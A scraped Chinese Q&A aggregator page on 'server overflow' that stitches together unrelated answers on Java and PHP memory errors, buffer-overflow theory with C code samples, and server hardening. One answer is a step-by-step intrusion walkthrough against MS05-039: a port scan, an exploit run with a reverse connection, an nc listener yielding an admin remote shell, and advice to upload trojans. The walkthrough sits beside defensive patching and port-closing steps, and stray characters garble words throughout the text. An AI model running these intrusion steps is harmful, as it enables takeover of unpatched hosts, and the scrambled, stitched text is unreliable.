当前位置:首页 » 城管服务 » 服务器溢出

服务器溢出

发布时间: 2021-03-03 10:13:17

① Java服务器缓存溢出有哪些

不可以实现缓冲区溢出攻击;
纯java代码是不会有缓冲区溢出漏洞的,因为回java中是全自动内存答管理了,用户无法控制内存的分配与释放.
缓冲区溢出攻击是利用缓冲区溢出漏洞所进行的攻击行动。缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统关机、重新启动等后果。
缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上。理想的情况是:程序会检查数据长度,而且并不允许输入超过缓冲区长度的字符。但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。

② 什么是服务器溢出,怎么把那服务器溢出呢

……机房发大水,把服务器都溢出了……

呵呵,开玩笑的!楼主不是研究网络攻击吧??

溢出有很多种类型的。

③ 怎么解决数据溢出

系统漏洞溢出主要分为远程溢出和本地溢出两种,本地溢出造成的后果是普通的用户可以利用漏洞进行权限的提升,而远程溢出的后果则是被黑客进行远程控制,进而造成被黑客安装程序来查看、更改或删除数据;或者创建拥有完全用户权限的新账户等一系列危险的操作。
在计算机内部,输入的数据通常被存放在一个临时的空间内,这个临时的空间就被成为缓冲区,缓冲区的容量事先已经被程序或操作系统定义好了。系统漏洞溢出主要是程序在向缓冲区内填充数据时,如果数据很多,超出了缓冲区的本身的容量,进而造成数据溢出存储空间,使装不下的数据覆盖在合法的数据上。这时系统就会出错,让黑客越过审核机制入侵系统。

在使用系统漏洞溢出攻击时,常常听到ShellCode这个词。ShellCode实际上就是一组可以完成我们想要的功能的机器代码,这些代码通常都是以十六进制的数组形式存在的,黑客常常会根据自己需要实现的目的来编写这段代码。最常见的ShellCode形式,就是一个打开DOS窗口的代码,从而使黑客得到一个远程的Shell,这样就完成了系统漏洞溢出的操作。成功的进行了远程溢出操作后,黑客还会通过FTP、Tftp等命令上传可以进行远程控制的程序并执行,最终达到远程控制的目的,这也是现在流行利用漏洞溢出进行入侵的原因。

入侵实战

第一步:漏洞分析

本次讲解以Windows即插即用远程代码执行漏洞(MS05-039)为例。造成该漏洞的主要原因是即插即用服务中未经检查的缓冲区出现了溢出漏洞,受影响的系统主要包括Windows 2000和WindowsXP SP1 。

第二步:扫描计算机

首先我们来查找存在MS05-039漏洞的远程计算机,由于存在这个漏洞的系统都开放了445和139端口,所以我们只要利用一个扫描器对一个大范围的IP段的445端口进行扫描即可。那些打开445端口的计算机就有可能存在MS05-039漏洞,这样为我们进行远程溢出提供了目标。

今天我们使用的扫描器是s.exe。打开一个命令提示符窗口,输入命令:s tcp 192.168.0.1 192.168.0.255 445 120 /save,这段命令的意思是利用120个线程数,扫描192.168.0.1到192.168.0.255这个IP段中TCP协议下的445端口,扫描的线程为120,并将扫描的结果保存到硬盘中一个名为Result的文本文件中(图1)。

第三步:溢出系统

现在我们就可以利用漏洞工具对远程计算机进行攻击。我们首先来看看该工具的使用方法。打开一个命令提示符窗口,执行漏洞利用工具后查看它的使用方法(图2)。从图中我们可以看到,该工具是通过反弹连接的形式进行远程数据溢出的,这样即使远程计算机安装有网络防火墙,我们也可以成功地进行溢出操作。

下面我们在命令提示符窗口执行:ms05039 192.168.0.3 192.168.0.2 4466 1,首先来说说这段命令的意思。192.168.0.3 是远程计算机的IP地址,192.168.0.2是本地计算机的IP地址,4466是成功溢出远程计算机数据后将连接到本地计算机的4466这个端口,1代表远程系统是中文版本,如果是英文就设置为0。当成功的执行了远程数据的溢出操作后,漏洞利用工具会出现溢出成功的提示(图3)。

当我们成功溢出远程数据后,就需要马上通过nc来监听反弹连接到本地4466端口的数据。重新再开启一个命令提示符窗口,在输入命令:nc -vv -l -p 4466后进行数据监听,很快我们就可以在这个监听窗口得到一个拥有管理员权限的远程SHELL(图4)。

至此,我们已经成功的进入了远程计算机的系统。但是毕竟在DOS界面下工作有诸多的不便,所以我们在获得远程计算机的SHELL后,会通过FTP、TFTP等方法上传可以进行图形界面下工作的木马等程序,这样我们就可以轻松的对远程计算机进行控制。换句话说,我们从那时起就真正的可以“主宰”这台远程主机的命运了。

攻击后果以及防范

通过系统漏洞溢出进行远程攻击已经成为当前最为行之有效的一种攻击手段,这种方法不但可以对个人的电脑进行攻击,还可以对某些服务器进行攻击。除此以外,溢出攻击在操作使用上也非常的简单,任何朋友只要按照前面讲述的步骤进行操作,基本上都能成功的进行溢出攻击。

介于系统漏洞溢出这种攻击的高危害性,所以人们一定要提高警惕,使用各种有效的方法对这种攻击手段进行防范。

首先,由于这种攻击手段是由系统漏洞引起的,所以为了避免系统遭受到攻击,应该尽快的安装相应的安全补丁。就拿今天举例的这个Windows即插即用远程代码执行漏洞来说吧,用户就应该尽快的安装MS05039漏洞补丁。

MS05039漏洞补丁:http://www.microsoft.com/china/technet/security/bulletin/MS05-039.mspx

其次,由于某些原因使用户不能在第一时间安装补丁的,也可以通过其他的一些变通的办法来阻止系统受到侵害,当然每个漏洞变通的解决办法是不相同的。就MS05039漏洞而言,用户只要通过对系统信息的重新配置,就可以封堵系统TCP 端口139和445端口,然后切断黑客和病毒入侵的途径。

关闭139端口的方法

1.点击“开始菜单”后,选择“设置”菜单中的“网络连接”选项。
2.接着在弹出的“网络连接”窗口中点击“本地连接”选目的“属性”命令。
3.然后在弹出的“本地连接属性”窗口中选取“Internet协议(TCP/IP)”选项并点击“属性”按钮。
4.最后进入“高级TCP/IP设置”窗口,选择“WINS设置”选项卡,在里面有一项“禁用TCP/IP的NETBIOS”,选择该选项后就会关闭139端口了。

关闭445端口的方法

1.在命令行窗口运行修改注册表命令RegEdit。
2.在弹出的注册表编辑窗口的左边找到下面目录HKEY_LOCAL_MACHINESystemCurrentContr
olSetServicesNetBTParameters
你可以一级一级目录往下点击,也可用“查找”命令找到NetBT项,然后点击Parameters项。
3.在编辑窗口的右边空白处点击鼠标右键,出现的“新建”菜单中选择“DWORD值”,将新建的DWORD参数命名为“SMBDeviceEnabled”,数值为缺省的“0”。
4.修改完后退出RegEdit,重启机器。
5.运行“netstat –an”,你将会发现你的445端口已经不再Listening了。

最后,及时安装最新版本的杀毒软件,并且升级到最新的病毒库,打开及时监控功能,这样虽然不能彻底防范黑客和病毒对我们系统的入侵,当可以在第一时间对发现的可疑恶意程序进行查杀。

④ 服务器内存溢出怎么解决

1. java.lang.OutOfMemoryError: Java heap space ----JVM Heap(堆)溢出

JVM在启动的时候会自动设置JVM Heap的值,其初始空间(即-Xms)是物理内存的1/64,最大空间(-Xmx)不可超过物理内存。

可以利用JVM提供的-Xmn -Xms -Xmx等选项可进行设置。Heap的大小是Young GenerationTenured Generaion之和。

在JVM中如果98%的时间是用于GC,且可用的Heap size不足2%的时候将抛出此异常信息。

解决方法:手动设置JVM Heap(堆)的大小。  

 

2. java.lang.OutOfMemoryError: PermGen space  ---- PermGen space溢出。 

PermGen space的全称是Permanent Generation space,是指内存的永久保存区域。

为什么会内存溢出,这是由于这块内存主要是被JVM存放Class和Meta信息的,Class在被Load的时候被放入PermGen space区域,它和存放Instance的Heap区域不同,sun的 GC不会在主程序运行期对PermGen space进行清理,所以如果你的APP会载入很多CLASS的话,就很可能出现PermGen space溢出。

解决方法: 手动设置MaxPermSize大小

3. java.lang.StackOverflowError   ---- 栈溢出

栈溢出了,JVM依然是采用栈式的虚拟机,这个和C和Pascal都是一样的。函数的调用过程都体现在堆栈和退栈上了。

调用构造函数的 “层”太多了,以致于把栈区溢出了。

通常来讲,一般栈区远远小于堆区的,因为函数调用过程往往不会多于上千层,而即便每个函数调用需要 1K的空间(这个大约相当于在一个C函数内声明了256个int类型的变量),那么栈区也不过是需要1MB的空间。通常栈的大小是1-2MB的。

通常递归也不要递归的层次过多,很容易溢出。

解决方法:修改程序。

⑤ linux服务器,请问这能看出内存溢出吗 空间商说是内存溢出了。

检查php.ini memory_limit 字段的值,默认8M,改大一些。
如果没有管理员权限,则在php 配置文件,如inc.php中添加一行专:
ini_set(’memory_limit’, ‘12M’);
或者属在网站根目录下 .htaccess 文件中添加一行:
php_value memory_limit 12M

⑥ 为了解决服务器溢出攻击应该采取什么安全策略

在频频恶意攻击用户、系统漏洞层出不穷的今天,作为网络治理员、系统治理员虽然在服务器的安全上都下了不少功夫,诸如及时打上系统安全补丁、进行一些常规的安全配置,但有时仍不安全。因此必须恶意用户入侵之前,通过一些系列安全设置,来将入侵者们挡在“安全门”之外,下面就将最简单、最有效的防(Overflow)溢出、本地提供权限攻击类的解决办法给大家分享。

一、如何防止溢出类攻击

1、尽最大的可能性将系统的漏洞补丁都打完,最好是比如Microsoft Windows Server系列的系统可以将自动更新服务打开,然后让服务器在您指定的某个时间段内自动连接到Microsoft Update网站进行补丁的更新。假如您的服务器为了安全起见 禁止了对公网外部的连接的话,可以用Microsoft WSUS服务在内网进行升级。

2、停掉一切不需要的系统服务以及应用程序,最大限能的降底服务器的被攻击系数。比如前阵子的MSDTC溢出,就导致很多服务器挂掉了。其实假如WEB类服务器根本没有用到MSDTC服务时,您大可以把MSDTC服务停掉,这样MSDTC溢出就对您的服务器不构成任何威胁了。

3、启动TCP/IP端口的过滤,仅打开常用的TCP如21、80、25、110、3389等端口;假如安全要求级别高一点可以将UDP端口关闭,当然假如这样之后缺陷就是如在服务器上连外部就不方便连接了,这里建议大家用IPSec来封UDP。在协议筛选中"只答应"TCP协议(协议号为:6)、UDP协议(协议号为:17)以及RDP协议(协议号为:27)等必需用协议即可;其它无用均不开放。

4、启用IPSec策略:为服务器的连接进行安全认证,给服务器加上双保险。如③所说,可以在这里封掉一些危险的端品诸如:135 145 139 445 以及UDP对外连接之类、以及对通读进行加密与只与有信任关系的IP或者网络进行通讯等等。(注:其实防反弹类木马用IPSec简单的禁止UDP或者不常用TCP端口的对外访问就成了,关于IPSec的如何应用这里就不再敖续,可以到服安讨论Search "IPSec",就 会有N多关于IPSec的应用资料..)

5、删除、移动、更名或者用访问控制表列Access Control Lists (ACLs)控制要害系统文件、命令及文件夹

⑦ 请教服务器内存溢出问题

会自动重启? 不是手动!!!

⑧ 网站服务器带宽超出怎么解决

戴尔的服务器5千多的就可以了,带宽5到10M。你买服务器肯定找idc托管的,还要买域名。你留个号,发你详细信息。

⑨ 问下关于CS的一个比较棘手的问题:服务器溢出。

我可以说是你cs版本问题么.你那段英文就是这么告诉你的啊.大意就是说你这个版本不支持那么专多人属.服务器不支持这么多少人.有溢出报告.还有那个叫拉登莫地雷的.像你这种不懂cs精神的人少在那边放屁.虽然现在cs没落了.但是cs有我们曾经的梦想.我们曾经为这个梦想奋斗过.别用你那张臭嘴侮辱这个游戏!

⑩ 网络中什么是溢出啊

溢出
目录·【简介】
·【内存溢出】
·为什么会出现内存溢出问题
·如何解决溢出内存问题
·【缓冲区溢出】
·缓冲区溢出分类
·为什么缓冲区溢出如此常见
·防止缓冲区溢出的新技术

【简介】
溢出是黑客利用操作系统的漏洞,专门开发了一种程序,加相应的参数运行后,就可以得到你电脑具有管理员资格的控制权,你在你自己电脑上能够运行的东西他可以全部做到,等于你的电脑就是他的了。在黑客频频攻击、在系统漏洞层出不穷的今天,作为网络管理员、系统管理员的我们虽然在服务器的安全上都下了不少功夫:诸如,及时的打上系统安全补丁、进行一些常规的安全配置,但是仍然不太可能每台服务器都会在第一时间内给系统打上全新补丁。因此我们必需要在还未被入侵之前,通过一些系列安全设置,来将入侵者们挡在“安全门”之外。

【内存溢出】

内存溢出已经是软件开发历史上存在了近40年的“老大难”问题,象在“红色代码”病毒事件中表现的那样,它已经成为黑客攻击企业网络的“罪魁祸首”。

如在一个域中输入的数据超过了它的要求就会引发数据溢出问题,多余的数据就可以作为指令在计算机上运行。据有关安全小组称,操作系统中超过50%的安全漏洞都是由内存溢出引起的,其中大多数与微软的技术有关。
微软的软件是针对台式机开发的,内存溢出不会带来严重的问题。但现在台式机一般都连上了互联网,内存溢出就为黑客的入侵提供了便利条件。

为什么会出现内存溢出问题

导致内存溢出问题的原因有很多,比如:
(1) 使用非类型安全(non-type-safe)的语言如 C/C++ 等。
(2) 以不可靠的方式存取或者复制内存缓冲区。
(3) 编译器设置的内存缓冲区太靠近关键数据结构。
下面来分析这些因素:
1. 内存溢出问题是 C 语言或者 C++ 语言所固有的缺陷,它们既不检查数组边界,又不检查类型可靠性(type-safety)。众所周知,用 C/C++ 语言开发的程序由于目标代码非常接近机器内核,因而能够直接访问内存和寄存器,这种特性大大提升了 C/C++ 语言代码的性能。只要合理编码,C/C++ 应用程序在执行效率上必然优于其它高级语言。然而,C/C++ 语言导致内存溢出问题的可能性也要大许多。其他语言也存在内容溢出问题,但它往往不是程序员的失误,而是应用程序的运行时环境出错所致。
2. 当应用程序读取用户(也可能是恶意攻击者)数据,试图复制到应用程序开辟的内存缓冲区中,却无法保证缓冲区的空间足够时(换言之,假设代码申请了 N 字节大小的内存缓冲区,随后又向其中复制超过 N 字节的数据)。内存缓冲区就可能会溢出。想一想,如果你向 12 盎司的玻璃杯中倒入 16 盎司水,那么多出来的 4 盎司水怎么办?当然会满到玻璃杯外面了!
3. 最重要的是,C/C++ 编译器开辟的内存缓冲区常常邻近重要的数据结构。现在假设某个函数的堆栈紧接在在内存缓冲区后面时,其中保存的函数返回地址就会与内存缓冲区相邻。此时,恶意攻击者就可以向内存缓冲区复制大量数据,从而使得内存缓冲区溢出并覆盖原先保存于堆栈中的函数返回地址。这样,函数的返回地址就被攻击者换成了他指定的数值;一旦函数调用完毕,就会继续执行“函数返回地址”处的代码。非但如此,C++ 的某些其它数据结构,比如 v-table 、例外事件处理程序、函数指针等,也可能受到类似的攻击。
好,闲话少说,现在来看一个具体的例子。
请思考:以下代码有何不妥之处?
void CopyData(char *szData) {
char cDest[32];
strcpy(cDest,szData);
// 处理 cDest
...
}
奇怪,这段代码好像没什么不对劲啊!确实,只有调用上述 CopyData() 才会出问题。例如:这样使用 CopyData() 是安全的:
char *szNames[] = {"Michael","Cheryl","Blake"};
CopyData(szName[1]);
为什么呢?因为数组中的姓名("Michael"、"Cheryl"、"Blake")都是字符串常量,而且长度都不超过 32 个字符,用它们做 strcpy() 的参数总是安全的。再假设 CopyData 的唯一参数 szData 来自 socket 套接字或者文件等不可靠的数据源。由于 strcpy 并不在乎数据来源,只要没遇上空字符,它就会一个字符一个字符地复制 szData 的内容。此时,复制到 cDest 的字符串就可能超过 32 字符,进而导致内存缓冲区 cDest 的溢出;溢出的字符就会取代内存缓冲区后面的数据。不幸的是,CopyData 函数的返回地址也在其中!于是,当 CopyData 函数调用完毕以后,程序就会转入攻击者给出的“返回地址”,从而落入攻击者的圈套!授人以柄,惨!
前面提到的其它数据结构也可能受到类似的攻击。假设有人利用内存溢出漏洞覆盖了下列 C++ 类中的 v-table :
void CopyData(char *szData) {
char cDest[32];
CFoo foo;
strcpy(cDest,szData);
foo.Init();
}
与其它 C++ 类一样,这里的 CFoo 类也对应一个所谓的 v-table,即用于保存一个类的全部方法地址的列表。若攻击者利用内存溢出漏洞偷换了 v-table 的内容,则 CFoo 类中的所有方法,包括上述 Init() 方法,都会指向攻击者给出的地址,而不是原先 v-table 中的方法地址。顺便说一句,即使你在某个 C++ 类的源代码中没有调用任何方法,也不能认为这个类是安全的,因为它在运行时至少需要调用一个内部方法——析构器(destructor)!当然,如果真有一个类没有调用任何方法,那么它的存在意义也就值得怀疑了。

如何解决溢出内存问题

下面讨论内存溢出问题的解决和预防措施。

1、改用受控代码
2002 年 2 月和 3 月,微软公司展开了 Microsoft Windows Security Push 活动。在此期间,我所在的小组一共培训了超过 8500 人,教授他们如何在设计、测试和文档编制过程中解决安全问题。在我们向所有程序设计人员提出的建议中,有一条就是:紧跟微软公司软件开发策略的步伐,将某些应用程序和工具软件由原先基于本地 Win32 的 C++ 代码改造成基于 .NET 的受控代码。我们的理由很多,但其中最根本的一条,就是为了解决内存溢出问题。基于受控代码的软件发生内存溢出问题的机率要小得多,因为受控代码无法直接存取系统指针、寄存器或者内存。作为开发人员,你应该考虑(至少是打算)用受控代码改写某些应用程序或工具软件。例如:企业管理工具就是很好的改写对象之一。当然,你也应该很清楚,不可能在一夜之间把所有用 C++ 开发的软件用 C# 之类的受控代码语言改写。

2、遵守黄金规则
当你用 C/C++ 书写代码时,应该处处留意如何处理来自用户的数据。如果一个函数的数据来源不可靠,又用到内存缓冲区,那么它就必须严格遵守下列规则:
必须知道内存缓冲区的总长度。

检验内存缓冲区。

提高警惕。

让我们来具体看看这些“黄金规则”:
(1)必须知道内存缓冲区的总长度。
类似这样的代码就有可能导致 bug :
void Function(char *szName) {
char szBuff[MAX_NAME];
// 复制并使用 szName
strcpy(szBuff,szName);
}
它的问题出在函数并不知道 szName 的长度是多少,此时复制数据是不安全的。正确的做法是,在复制数据前首先获取 szName 的长度:
void Function(char *szName, DWORD cbName) {
char szBuff[MAX_NAME];
// 复制并使用 szName
if (cbName < MAX_NAME)
strcpy(szBuff,szName);
}
这样虽然有所改进,可它似乎又过于信任 cbName 了。攻击者仍然有机会伪造 czName 和 szName 两个参数以谎报数据长度和内存缓冲区长度。因此,你还得检检这两个参数!
(2)检验内存缓冲区
如何知道由参数传来的内存缓冲区长度是否真实呢?你会完全信任来自用户的数据吗?通常,答案是否定的。其实,有一种简单的办法可以检验内存缓冲区是否溢出。请看如下代码片断:
void Function(char *szName, DWORD cbName) {
char szBuff[MAX_NAME];
// 检测内存
szBuff[cbName] = 0x42;
// 复制并使用 szName
if (cbName < MAX_NAME)
strcpy(szBuff,szName);
}
这段代码试图向欲检测的内存缓冲区末尾写入数据 0x42 。你也许会想:真是多此一举,何不直接复制内存缓冲区呢?事实上,当内存缓冲区已经溢出时,一旦再向其中写入常量值,就会导致程序代码出错并中止运行。这样在开发早期就能及时发现代码中的 bug 。试想,与其让攻击者得手,不如及时中止程序;你大概也不愿看到攻击者随心所欲地向内存缓冲区复制数据吧。
(3)提高警惕
虽然检验内存缓冲区能够有效地减小内存溢出问题的危害,却不能从根本上避免内存溢出攻击。只有从源代码开始提高警惕,才能真正免除内存溢出攻击的危胁。不错,上一段代码已经很对用户数据相当警惕了。它能确保复制到内存缓冲区的数据总长度不会超过 szBuff 的长度。然而,某些函数在使用或复制不可靠的数据时也可能潜伏着内存溢出漏洞。为了检查你的代码是否存在内存溢出漏洞,你必须尽量追踪传入数据的流向,向代码中的每一个假设提出质疑。一旦这么做了,你将会意识到其中某些假设是错误的;然后你还会惊讶地叫道:好多 bug 呀!
在调用 strcpy、strcat、gets 等经典函数时当然要保持警惕;可对于那些所谓的第 n 版 (n-versions) strcpy 或 strcat 函数 —— 比如 strncpy 或 strncat (其中 n = 1,2,3 ……) —— 也不可轻信。的确,这些改良版本的函数是安全一些、可靠一些,因为它们限制了进入内存缓冲区的数据长度;然而,它们也可能导致内存溢出问题!请看下列代码,你能指出其中的错误吗?
#define SIZE(b) (sizeof(b))
char buff[128];
strncpy(buff,szSomeData,SIZE(buff));
strncat(buff,szMoreData,SIZE(buff));
strncat(buff,szEvenMoreData,SIZE(buff));
给点提示:请注意这些字符串函数的最后一个参数。怎么,弃权?我说啊,如果你是执意要放弃那些“不安全”的经典字符串函数,并且一律改用“相对安全”的第 n 版函数的话,恐怕你这下半辈子都要为了修复这些新函数带来的新 bug 而疲于奔命了。呵呵,开个玩笑而已。为何这么说?首先,它们的最后一个参数并不代表内存缓冲区的总长度,它们只是其剩余空间的长度;不难看出,每执行完一个 strn... 函数,内存缓冲区 buff 的长度就减少一些。其次,传递给函数的内存缓冲区长度难免存在“大小差一”(off-by-one)的误差。你认为在计算 buff 的长度时包括了字符串末尾的空字符吗?当我向听众提出这个问题时,得到的肯定答复和否定答复通常是 50 比 50 ,对半开。也就是说,大约一半人认为计算了末尾的空字符,而另一半人认为忽略了该字符。最后,那些第 n 版函数所返回的字符串不见得以空字符结束,所以在使用前务必要仔细阅读它们的说明文档。

3、编译选项 /GS
“/GS”是 Visual C++ .NET 新引入的一个编译选项。它指示编译器在某些函数的堆栈帧(stack-frames) 中插入特定数据,以帮助消除针对堆栈的内存溢出问题隐患。切记,使用该选项并不能替你清除代码中的内存溢出漏洞,也不可能消灭任何 bug 。它只是亡羊补牢,让某些内存溢出问题隐患无法演变成真正的内存溢出问题;也就是说,它能防止攻击者在发生内存溢出时向进程中插入和运行恶意代码。无论如何,这也算是小小的安全保障吧。请注意,在新版的本地 Win32 C++ 中使用 Win32 应用程序向导创建新项目时,默认设置已经打开了此选项。同样,Windows .NET Server 环境也默认打开了此选项。关于 /GS 选项的更多信息,请参考 Brandon Bray 的《Compiler Security Checks In Depth》一书。

所谓定点数溢出是指定点数的运算结果的绝对值大于计算机能表示的最大数的绝对值。浮点数的溢出又可分为“上溢出”和“下溢出”两种,“上溢出”与整数、定点数的含义相同,“下溢出”是指浮点数的运算结果的绝对值小于机器所能表示的最小数绝对值,此时将该运算结果处理成机器零。若发现溢出(上溢出),运算器将产生溢出标志或发出中断请求,当溢出中断未被屏蔽时,溢出中断信号的出现可中止程序的执行而转入溢出中断处理程序。<BR><BR>
例如:有两个数0.1001111和0.1101011相加,其结果应为1.0111010。由于定点数计算机只能表示小于1的数,如果字长只有8位,那么小数点前面的1,会因没有触发器存放而丢失。这样,上述两个数在计算机中相加,其结果变为0.0111010。又如,有两个数0.0001001和0.00001111相乘,其结果应为0.00000000111111,若字长只有8位,则结果显示为0.0000000,后面的1个0和6个1全部丢失,显然这个结果有误差。计算机的任何运算都不允许溢出,除非专门利用溢出做判断,而不使用所得的结果。所以,当发生和不允许出现的溢出时,就要停机或转入检查程序,以找出产生溢出的原因,做出相应的处理。

【缓冲区溢出】

缓冲区是用户为程序运行时在计算机中申请的一段连续的内存,它保存了给定类型的数据。缓冲区溢出指的是一种常见且危害很大的系统攻击手段,通过向程序的缓冲区写入超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他的指令,以达到攻击的目的。更为严重的是,缓冲区溢出攻击占了远程网络攻击的绝大多数,这种攻击可以使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权!由于这类攻击使任何人都有可能取得主机的控制权,所以它代表了一类极其严重的安全威胁。

缓冲区溢出攻击的目的在于扰乱具有某些特权运行的程序的功能,这样可以使得攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。一般而言,攻击者攻击root程序,然后执行类似“exec(sh)”的执行代码来获得root的shell。为了达到这个目的,攻击者必须达到如下的两个目标:在程序的地址空间里安排适当的代码;通过适当地初始化寄存器和存储器,让程序跳转到事先安排的地址空间执行。根据这两个目标,可以将缓冲区溢出攻击分为以下3类。

热点内容
影视转载限制分钟 发布:2024-08-19 09:13:14 浏览:319
韩国电影伤口上纹身找心里辅导 发布:2024-08-19 09:07:27 浏览:156
韩国电影集合3小时 发布:2024-08-19 08:36:11 浏览:783
有母乳场景的电影 发布:2024-08-19 08:32:55 浏览:451
我准备再看一场电影英语 发布:2024-08-19 08:14:08 浏览:996
奥迪a8电影叫什么三个女救人 发布:2024-08-19 07:56:14 浏览:513
邱淑芬风月片全部 发布:2024-08-19 07:53:22 浏览:341
善良妈妈的朋友李采潭 发布:2024-08-19 07:33:09 浏览:760
哪里还可以看查理九世 发布:2024-08-19 07:29:07 浏览:143
看电影需要多少帧数 发布:2024-08-19 07:23:14 浏览:121